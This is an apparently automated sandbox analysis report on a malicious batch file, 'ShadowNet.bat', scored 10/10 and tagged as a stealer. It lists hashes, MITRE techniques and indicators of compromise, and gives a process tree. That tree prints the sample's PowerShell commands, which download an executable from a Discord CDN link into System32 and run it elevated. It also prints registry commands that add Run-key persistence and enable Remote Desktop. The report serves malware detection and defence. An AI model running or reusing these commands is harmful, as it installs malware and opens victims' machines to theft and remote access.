41a732ac7cf44be865c9cb1d368c11eb27b21c111d3050536f36e59ede1691d5

Analysis

max time kernel
922s
max time network
1031s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
09/06/2024, 00:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ShadowNet.bat
Size 6KB
Sample240609-ambzmsaf8t
SHA256 41a732ac7cf44be865c9cb1d368c11eb27b21c111d3050536f36e59ede1691d5
MD5 933a1442dcd7c84adba21901d5119f98
SHA1 8078e384973dfd55a8bb71571d78677806f6f42e
SHA512 241ae81f5c43fbb720c3fdf0f3575c775ade564d65258d188c6e4c75f0e78e10cbff875e7d15b294079b47501faba34a9b758d1bb499938c175c5c184ddc8327
SSDEEP 192:dd8+55UyM8kqeIyRh4hCaRWzWXCaRWzWgMoUWqe71:j8+UyM8kqeIyRh4hCD6XCD6gMg
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion execution persistence pyinstaller spyware stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://dl.discordapp.net/distro/app/stable/win/x64/1.0.9148/DiscordSetup.exe

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://cdn.discordapp.com/attachments/1231248654476513392/1249152249037459536/ShadowNet.exe?ex=66664330&is=6664f1b0&hm=73398435ce9e3edc92c52ed45896292bb5c2dc828301384f41c4f50b838e21e4&

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	2848	powershell.exe
42	2404	powershell.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 7 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4956	netsh.exe
3100	netsh.exe
4348	netsh.exe
4972	netsh.exe
3896	netsh.exe
384	netsh.exe
1372	netsh.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	Discord.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Bootsysbot.lnk	cscript.exe

Executes dropped EXE 18 IoCs

pid	Process
3692	sysbot.exe
4128	Update.exe
2376	Discord.exe
780	Discord.exe
3076	Update.exe
3192	Discord.exe
4648	Discord.exe
4836	Bootsysbot.exe
1516	Bootsysbot.exe
3620	Update.exe
764	Discord.exe
1400	Discord.exe
3604	Discord.exe
4588	Discord.exe
4884	Discord.exe
5028	Discord.exe
1592	Discord.exe
1048	Discord.exe

Loads dropped DLL 52 IoCs

pid	Process
2376	Discord.exe
780	Discord.exe
3192	Discord.exe
4648	Discord.exe
3192	Discord.exe
3192	Discord.exe
3192	Discord.exe
3192	Discord.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
1516	Bootsysbot.exe
764	Discord.exe
1400	Discord.exe
764	Discord.exe
4588	Discord.exe
3604	Discord.exe
4884	Discord.exe
3604	Discord.exe
5028	Discord.exe
4588	Discord.exe
4588	Discord.exe
4588	Discord.exe
4588	Discord.exe
3604	Discord.exe
1592	Discord.exe
1048	Discord.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Discord = "\"C:\\Users\\Admin\\AppData\\Local\\Discord\\Update.exe\" --processStart Discord.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
46	discord.com
47	discord.com

Command and Scripting Interpreter: PowerShell 1 TTPs 29 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4728	powershell.exe
3048	powershell.exe
1168	powershell.exe
4316	powershell.exe
2900	powershell.exe
2348	powershell.exe
2404	powershell.exe
3544	powershell.exe
2980	powershell.exe
2840	powershell.exe
2472	powershell.exe
2448	powershell.exe
1052	powershell.exe
1220	powershell.exe
1644	powershell.exe
4600	powershell.exe
4404	powershell.exe
1008	powershell.exe
452	powershell.exe
2848	powershell.exe
1048	powershell.exe
548	powershell.exe
4844	powershell.exe
4472	powershell.exe
4496	powershell.exe
3824	powershell.exe
4904	powershell.exe
2512	powershell.exe
3472	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\sysbot.exe	powershell.exe
File created	C:\Windows\System32\Bootsysbot.exe	powershell.exe

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_1846137639\Google.Widevine.CDM.dll	Discord.exe
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_1846137639\_metadata\verified_contents.json	Discord.exe
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_2015730617\LICENSE	Discord.exe
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_2015730617\manifest.json	Discord.exe
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_2015730617\_metadata\verified_contents.json	Discord.exe
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_2015730617\_platform_specific\win_x64\widevinecdm.dll	Discord.exe
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_2015730617\manifest.fingerprint	Discord.exe
File created	C:\Program Files\chrome_url_fetcher_764_90807105\oimompecagnajdejgnnjijobebaeigek_4.10.2710.0_win64_adsurwm4gclupf32xdrpgdnapira.crx3	Discord.exe
File created	C:\Program Files\chrome_url_fetcher_764_1792388018\neifaoindggfcjicffkgpmnlppeffabd_1.0.2738.0_win64_kj4dp5kifwxbdodqls7e5nzhtm.crx3	Discord.exe
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_1846137639\manifest.json	Discord.exe
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_1846137639\manifest.fingerprint	Discord.exe
File created	C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_2015730617\_platform_specific\win_x64\widevinecdm.dll.sig	Discord.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x00090000000234f7-388.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Discord.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2000	timeout.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3016	ipconfig.exe
2432	ipconfig.exe

Modifies registry class 19 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\URL Protocol	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\ = "URL:Discord Protocol"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\DefaultIcon	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Discord\\app-1.0.9148\\Discord.exe\" --url -- \"%1\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Discord\\app-1.0.9148\\Discord.exe\",-1"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Discord\\app-1.0.9148\\Discord.exe\" --url -- \"%1\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\ = "URL:Discord Protocol"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Discord\\app-1.0.9148\\Discord.exe\",-1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\URL Protocol	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\DefaultIcon	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Discord	reg.exe

Modifies registry key 1 TTPs 9 IoCs

Modify Registry

T1112

pid	Process
1748	reg.exe
544	reg.exe
1684	reg.exe
2184	reg.exe
1992	reg.exe
4572	reg.exe
4956	reg.exe
5108	reg.exe
4880	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1064	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2848	powershell.exe
2848	powershell.exe
2512	powershell.exe
2512	powershell.exe
2376	Discord.exe
2376	Discord.exe
2376	Discord.exe
2376	Discord.exe
2376	Discord.exe
2376	Discord.exe
2376	Discord.exe
2376	Discord.exe
2376	Discord.exe
2376	Discord.exe
2404	powershell.exe
2404	powershell.exe
3472	powershell.exe
3472	powershell.exe
4404	powershell.exe
4404	powershell.exe
1048	powershell.exe
1048	powershell.exe
4728	powershell.exe
4728	powershell.exe
4844	powershell.exe
4844	powershell.exe
1008	powershell.exe
1008	powershell.exe
4472	powershell.exe
4472	powershell.exe
4496	powershell.exe
4496	powershell.exe
2840	powershell.exe
2840	powershell.exe
2900	powershell.exe
2900	powershell.exe
3048	powershell.exe
3048	powershell.exe
1644	powershell.exe
1644	powershell.exe
2472	powershell.exe
2472	powershell.exe
1168	powershell.exe
1168	powershell.exe
3824	powershell.exe
3824	powershell.exe
3544	powershell.exe
3544	powershell.exe
4600	powershell.exe
4600	powershell.exe
2348	powershell.exe
2348	powershell.exe
452	powershell.exe
452	powershell.exe
4904	powershell.exe
4904	powershell.exe
548	powershell.exe
548	powershell.exe
2980	powershell.exe
2980	powershell.exe
2448	powershell.exe
2448	powershell.exe
1052	powershell.exe
1052	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	316	WMIC.exe
Token: SeSecurityPrivilege	316	WMIC.exe
Token: SeTakeOwnershipPrivilege	316	WMIC.exe
Token: SeLoadDriverPrivilege	316	WMIC.exe
Token: SeSystemProfilePrivilege	316	WMIC.exe
Token: SeSystemtimePrivilege	316	WMIC.exe
Token: SeProfSingleProcessPrivilege	316	WMIC.exe
Token: SeIncBasePriorityPrivilege	316	WMIC.exe
Token: SeCreatePagefilePrivilege	316	WMIC.exe
Token: SeBackupPrivilege	316	WMIC.exe
Token: SeRestorePrivilege	316	WMIC.exe
Token: SeShutdownPrivilege	316	WMIC.exe
Token: SeDebugPrivilege	316	WMIC.exe
Token: SeSystemEnvironmentPrivilege	316	WMIC.exe
Token: SeRemoteShutdownPrivilege	316	WMIC.exe
Token: SeUndockPrivilege	316	WMIC.exe
Token: SeManageVolumePrivilege	316	WMIC.exe
Token: 33	316	WMIC.exe
Token: 34	316	WMIC.exe
Token: 35	316	WMIC.exe
Token: 36	316	WMIC.exe
Token: SeIncreaseQuotaPrivilege	316	WMIC.exe
Token: SeSecurityPrivilege	316	WMIC.exe
Token: SeTakeOwnershipPrivilege	316	WMIC.exe
Token: SeLoadDriverPrivilege	316	WMIC.exe
Token: SeSystemProfilePrivilege	316	WMIC.exe
Token: SeSystemtimePrivilege	316	WMIC.exe
Token: SeProfSingleProcessPrivilege	316	WMIC.exe
Token: SeIncBasePriorityPrivilege	316	WMIC.exe
Token: SeCreatePagefilePrivilege	316	WMIC.exe
Token: SeBackupPrivilege	316	WMIC.exe
Token: SeRestorePrivilege	316	WMIC.exe
Token: SeShutdownPrivilege	316	WMIC.exe
Token: SeDebugPrivilege	316	WMIC.exe
Token: SeSystemEnvironmentPrivilege	316	WMIC.exe
Token: SeRemoteShutdownPrivilege	316	WMIC.exe
Token: SeUndockPrivilege	316	WMIC.exe
Token: SeManageVolumePrivilege	316	WMIC.exe
Token: 33	316	WMIC.exe
Token: 34	316	WMIC.exe
Token: 35	316	WMIC.exe
Token: 36	316	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1516	WMIC.exe
Token: SeSecurityPrivilege	1516	WMIC.exe
Token: SeTakeOwnershipPrivilege	1516	WMIC.exe
Token: SeLoadDriverPrivilege	1516	WMIC.exe
Token: SeSystemProfilePrivilege	1516	WMIC.exe
Token: SeSystemtimePrivilege	1516	WMIC.exe
Token: SeProfSingleProcessPrivilege	1516	WMIC.exe
Token: SeIncBasePriorityPrivilege	1516	WMIC.exe
Token: SeCreatePagefilePrivilege	1516	WMIC.exe
Token: SeBackupPrivilege	1516	WMIC.exe
Token: SeRestorePrivilege	1516	WMIC.exe
Token: SeShutdownPrivilege	1516	WMIC.exe
Token: SeDebugPrivilege	1516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1516	WMIC.exe
Token: SeRemoteShutdownPrivilege	1516	WMIC.exe
Token: SeUndockPrivilege	1516	WMIC.exe
Token: SeManageVolumePrivilege	1516	WMIC.exe
Token: 33	1516	WMIC.exe
Token: 34	1516	WMIC.exe
Token: 35	1516	WMIC.exe
Token: 36	1516	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1516	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4128	Update.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 3016	816	cmd.exe	83
PID 816 wrote to memory of 3016	816	cmd.exe	83
PID 816 wrote to memory of 2432	816	cmd.exe	84
PID 816 wrote to memory of 2432	816	cmd.exe	84
PID 816 wrote to memory of 2708	816	cmd.exe	85
PID 816 wrote to memory of 2708	816	cmd.exe	85
PID 816 wrote to memory of 3012	816	cmd.exe	86
PID 816 wrote to memory of 3012	816	cmd.exe	86
PID 816 wrote to memory of 316	816	cmd.exe	90
PID 816 wrote to memory of 316	816	cmd.exe	90
PID 816 wrote to memory of 1516	816	cmd.exe	92
PID 816 wrote to memory of 1516	816	cmd.exe	92
PID 816 wrote to memory of 1328	816	cmd.exe	93
PID 816 wrote to memory of 1328	816	cmd.exe	93
PID 816 wrote to memory of 2848	816	cmd.exe	94
PID 816 wrote to memory of 2848	816	cmd.exe	94
PID 816 wrote to memory of 2512	816	cmd.exe	102
PID 816 wrote to memory of 2512	816	cmd.exe	102
PID 2512 wrote to memory of 3692	2512	powershell.exe	103
PID 2512 wrote to memory of 3692	2512	powershell.exe	103
PID 2512 wrote to memory of 3692	2512	powershell.exe	103
PID 816 wrote to memory of 2000	816	cmd.exe	104
PID 816 wrote to memory of 2000	816	cmd.exe	104
PID 3692 wrote to memory of 4128	3692	sysbot.exe	105
PID 3692 wrote to memory of 4128	3692	sysbot.exe	105
PID 3692 wrote to memory of 4128	3692	sysbot.exe	105
PID 4128 wrote to memory of 2376	4128	Update.exe	107
PID 4128 wrote to memory of 2376	4128	Update.exe	107
PID 2376 wrote to memory of 780	2376	Discord.exe	108
PID 2376 wrote to memory of 780	2376	Discord.exe	108
PID 2376 wrote to memory of 3076	2376	Discord.exe	109
PID 2376 wrote to memory of 3076	2376	Discord.exe	109
PID 2376 wrote to memory of 3076	2376	Discord.exe	109
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 3192	2376	Discord.exe	110
PID 2376 wrote to memory of 4648	2376	Discord.exe	111

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ShadowNet.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:816
- C:\Windows\system32\ipconfig.exe
  ipconfig
  2⤵
  - Gathers network information
  PID:3016
- C:\Windows\system32\ipconfig.exe
  ipconfig
  2⤵
  - Gathers network information
  PID:2432
- C:\Windows\system32\find.exe
  find /i "IPv4"
  2⤵
  PID:2708
- C:\Windows\system32\getmac.exe
  getmac
  2⤵
  PID:3012
- C:\Windows\System32\Wbem\WMIC.exe
  wmic csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:316
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1516
- C:\Windows\System32\Wbem\WMIC.exe
  wmic diskdrive get size
  2⤵
  PID:1328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://dl.discordapp.net/distro/app/stable/win/x64/1.0.9148/DiscordSetup.exe', 'C:\Windows\System32\sysbot.exe')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process 'C:\Windows\System32\sysbot.exe' -Verb RunAs"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\System32\sysbot.exe
    "C:\Windows\System32\sysbot.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3692
  - - C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
      "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .
      4⤵
      Executes dropped EXE
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4128
    - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe" --squirrel-install 1.0.9148
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2376
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
        
        C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:7 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://f.a.k/e --annotation=_productName=discord --annotation=_version=1.0.9148 --annotation=plat=Win64 --annotation=prod=Electron --annotation=ver=28.2.10 --initial-client-data=0x4f4,0x4f8,0x500,0x4e8,0x508,0x7ff6ebe53108,0x7ff6ebe53114,0x7ff6ebe53120
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:780
      - C:\Users\Admin\AppData\Local\Discord\Update.exe
        
        C:\Users\Admin\AppData\Local\Discord\Update.exe --createShortcut Discord.exe --setupIcon C:\Users\Admin\AppData\Local\Discord\app.ico
        6⤵
        Executes dropped EXE
        
        PID:3076
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1892 --field-trial-handle=1896,i,13988825651316274478,16372802405241075564,262144 --enable-features=kWebSQLAccess --disable-features=CalculateNativeWinOcclusion,HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3192
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --secure-schemes=sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=sentry-ipc --mojo-platform-channel-handle=2144 --field-trial-handle=1896,i,13988825651316274478,16372802405241075564,262144 --enable-features=kWebSQLAccess --disable-features=CalculateNativeWinOcclusion,HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4648
      - C:\Windows\System32\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "\"C:\Users\Admin\AppData\Local\Discord\Update.exe\" --processStart Discord.exe" /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1748
      - C:\Windows\System32\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /ve /d "URL:Discord Protocol" /f
        6⤵
        Modifies registry class
        Modifies registry key
        
        PID:544
      - C:\Windows\System32\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /v "URL Protocol" /f
        6⤵
        Modifies registry class
        Modifies registry key
        
        PID:1992
      - C:\Windows\System32\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\DefaultIcon /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe\",-1" /f
        6⤵
        Modifies registry class
        Modifies registry key
        
        PID:4572
      - C:\Windows\System32\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\shell\open\command /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe\" --url -- \"%1\"" /f
        6⤵
        Modifies registry class
        Modifies registry key
        
        PID:4956
- C:\Windows\system32\timeout.exe
  timeout /t 60
  2⤵
  - Delays execution with timeout.exe
  PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1231248654476513392/1249152249037459536/ShadowNet.exe?ex=66664330&is=6664f1b0&hm=73398435ce9e3edc92c52ed45896292bb5c2dc828301384f41c4f50b838e21e4&', 'C:\Windows\System32\Bootsysbot.exe')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process 'C:\Windows\System32\Bootsysbot.exe' -Verb RunAs"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3472
- - C:\Windows\System32\Bootsysbot.exe
    "C:\Windows\System32\Bootsysbot.exe"
    3⤵
    - Executes dropped EXE
    PID:4836
  - - C:\Windows\System32\Bootsysbot.exe
      "C:\Windows\System32\Bootsysbot.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1516
- C:\Windows\system32\cscript.exe
  cscript /nologo "C:\Users\Admin\AppData\Local\Temp\CreateShortcut.vbs"
  2⤵
  - Drops startup file
  PID:2440
- C:\Windows\system32\reg.exe
  reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections"
  2⤵
  PID:5024
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d "0" /f
